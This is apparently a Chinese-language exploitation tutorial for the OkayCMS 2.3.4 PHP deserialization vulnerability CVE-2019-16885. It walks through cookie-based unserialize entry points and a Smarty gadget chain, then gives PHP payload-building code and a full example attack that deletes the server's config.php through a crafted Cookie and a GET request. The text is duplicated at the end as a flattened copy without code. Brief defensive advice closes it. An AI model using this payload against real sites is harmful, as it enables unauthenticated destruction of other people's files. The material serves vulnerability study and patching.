OkayCMS 2.3.4 反序列化漏洞(CVE-2019-16885)
字数 1563 2025-08-26 22:11:40

OkayCMS 2.3.4 反序列化漏洞(CVE-2019-16885) 深入分析与利用教学

漏洞概述

OkayCMS 2.3.4版本中存在反序列化漏洞(CVE-2019-16885),允许未经身份验证的攻击者通过精心构造的Cookie数据执行任意文件删除操作。该漏洞存在于多个接口中,利用Smarty模板引擎的特性实现攻击。

漏洞位置分析

第一处漏洞点:ProductsView.php

文件路径:view/ProductsView.php

关键代码(516行附近):

$price_filter = unserialize($_COOKIE['price_filter']);

特点:

  • 直接反序列化Cookie中的price_filter参数
  • 无需身份验证即可访问
  • 位于fetch方法中,无访问控制

第二处漏洞点:Comparison.php

文件路径:api/Comparison.php

存在反序列化的三个接口:

  1. get_comparison - 获取比较产品清单
  2. add_item - 将产品添加到比较列表
  3. delete_item - 从比较列表中删除项目

共同特点:

  • 都使用unserialize($_COOKIE['comparison'])
  • 通过ajax/comparison.php暴露,无需身份验证
  • 可通过GET参数action控制调用的接口

漏洞利用链分析

Smarty模板引擎利用链

核心类:Smarty_Internal_CacheResource_File

关键方法:releaseLock

public function releaseLock(Smarty $smarty, Smarty_Template_Cached $cached)
{
    $lockId = $cached->lock_id;
    if ($lockId !== null) {
        unlink($smarty->getCacheDir() . '.lock.' . $lockId);
    }
}

触发路径

  1. 反序列化触发Smarty_Internal_Template类的__destruct方法
  2. __destruct方法中调用releaseLock方法
  3. releaseLock执行unlink操作实现文件删除

必要条件

要成功利用需要满足以下条件:

  1. $this->smarty必须是Smarty类的实例
  2. $this->cached必须是Smarty_Template_Cached类的实例
  3. $this->smarty->cache_locking必须为true
  4. $this->cached->is_locked必须为true
  5. $this->cached->lock_id控制要删除的文件路径

利用链构造

完整的利用链构造如下:

<?php
class Smarty {
    public $cache_locking = true;
    public $cache_dir = '/path/to/delete/'; // 要删除的文件所在目录
}

class Smarty_Template_Cached {
    public $is_locked = true;
    public $lock_id = 'filename'; // 要删除的文件名
}

class Smarty_Internal_Template {
    public $smarty;
    public $cached;
    
    public function __construct() {
        $this->smarty = new Smarty();
        $this->cached = new Smarty_Template_Cached();
    }
}

$payload = new Smarty_Internal_Template();
echo serialize($payload);
?>

漏洞利用步骤

通过price_filter参数利用

  1. 构造恶意序列化字符串
  2. 设置Cookie: price_filter=[序列化payload]
  3. 访问包含ProductsView.php的页面

通过comparison参数利用

  1. 构造恶意序列化字符串
  2. 设置Cookie: comparison=[序列化payload]
  3. 发送GET请求到ajax/comparison.php,参数:
    • action=get_comparison (或add_item/delete_item)

实际攻击示例

任意文件删除攻击

假设要删除服务器上的/var/www/html/config.php文件:

  1. 构造payload:
$smarty = new Smarty();
$smarty->cache_locking = true;
$smarty->cache_dir = '/var/www/html/';

$cached = new Smarty_Template_Cached();
$cached->is_locked = true;
$cached->lock_id = 'config.php';

$template = new Smarty_Internal_Template();
$template->smarty = $smarty;
$template->cached = $cached;

$payload = serialize($template);
  1. 将生成的序列化字符串通过Cookie发送:
Cookie: comparison=[生成的payload]
  1. 发送请求:
GET /ajax/comparison.php?action=get_comparison HTTP/1.1
Host: target.com
Cookie: comparison=[生成的payload]

防御建议

  1. 升级到最新版本的OkayCMS
  2. 对反序列化操作进行严格过滤:
    • 使用json_decode代替unserialize
    • 实现白名单机制,只允许反序列化特定类
  3. 对关键文件设置严格的权限控制
  4. 实施输入验证,特别是对Cookie数据

总结

OkayCMS 2.3.4的反序列化漏洞(CVE-2019-16885)是一个高危漏洞,允许攻击者在无需身份验证的情况下实现任意文件删除。漏洞利用依赖于Smarty模板引擎的特性,通过精心构造的序列化对象触发文件删除操作。系统管理员应立即采取修补措施,开发者应避免直接反序列化用户输入。

OkayCMS 2.3.4 反序列化漏洞(CVE-2019-16885) 深入分析与利用教学 漏洞概述 OkayCMS 2.3.4版本中存在反序列化漏洞(CVE-2019-16885),允许未经身份验证的攻击者通过精心构造的Cookie数据执行任意文件删除操作。该漏洞存在于多个接口中,利用Smarty模板引擎的特性实现攻击。 漏洞位置分析 第一处漏洞点:ProductsView.php 文件路径: view/ProductsView.php 关键代码(516行附近): 特点: 直接反序列化Cookie中的 price_filter 参数 无需身份验证即可访问 位于 fetch 方法中,无访问控制 第二处漏洞点:Comparison.php 文件路径: api/Comparison.php 存在反序列化的三个接口: get_comparison - 获取比较产品清单 add_item - 将产品添加到比较列表 delete_item - 从比较列表中删除项目 共同特点: 都使用 unserialize($_COOKIE['comparison']) 通过 ajax/comparison.php 暴露,无需身份验证 可通过GET参数 action 控制调用的接口 漏洞利用链分析 Smarty模板引擎利用链 核心类: Smarty_Internal_CacheResource_File 关键方法: releaseLock 触发路径 反序列化触发 Smarty_Internal_Template 类的 __destruct 方法 __destruct 方法中调用 releaseLock 方法 releaseLock 执行 unlink 操作实现文件删除 必要条件 要成功利用需要满足以下条件: $this->smarty 必须是 Smarty 类的实例 $this->cached 必须是 Smarty_Template_Cached 类的实例 $this->smarty->cache_locking 必须为true $this->cached->is_locked 必须为true $this->cached->lock_id 控制要删除的文件路径 利用链构造 完整的利用链构造如下: 漏洞利用步骤 通过price_ filter参数利用 构造恶意序列化字符串 设置Cookie: price_filter=[序列化payload] 访问包含ProductsView.php的页面 通过comparison参数利用 构造恶意序列化字符串 设置Cookie: comparison=[序列化payload] 发送GET请求到 ajax/comparison.php ,参数: action=get_comparison (或add_ item/delete_ item) 实际攻击示例 任意文件删除攻击 假设要删除服务器上的 /var/www/html/config.php 文件: 构造payload: 将生成的序列化字符串通过Cookie发送: 发送请求: 防御建议 升级到最新版本的OkayCMS 对反序列化操作进行严格过滤: 使用 json_decode 代替 unserialize 实现白名单机制,只允许反序列化特定类 对关键文件设置严格的权限控制 实施输入验证,特别是对Cookie数据 总结 OkayCMS 2.3.4的反序列化漏洞(CVE-2019-16885)是一个高危漏洞,允许攻击者在无需身份验证的情况下实现任意文件删除。漏洞利用依赖于Smarty模板引擎的特性,通过精心构造的序列化对象触发文件删除操作。系统管理员应立即采取修补措施,开发者应避免直接反序列化用户输入。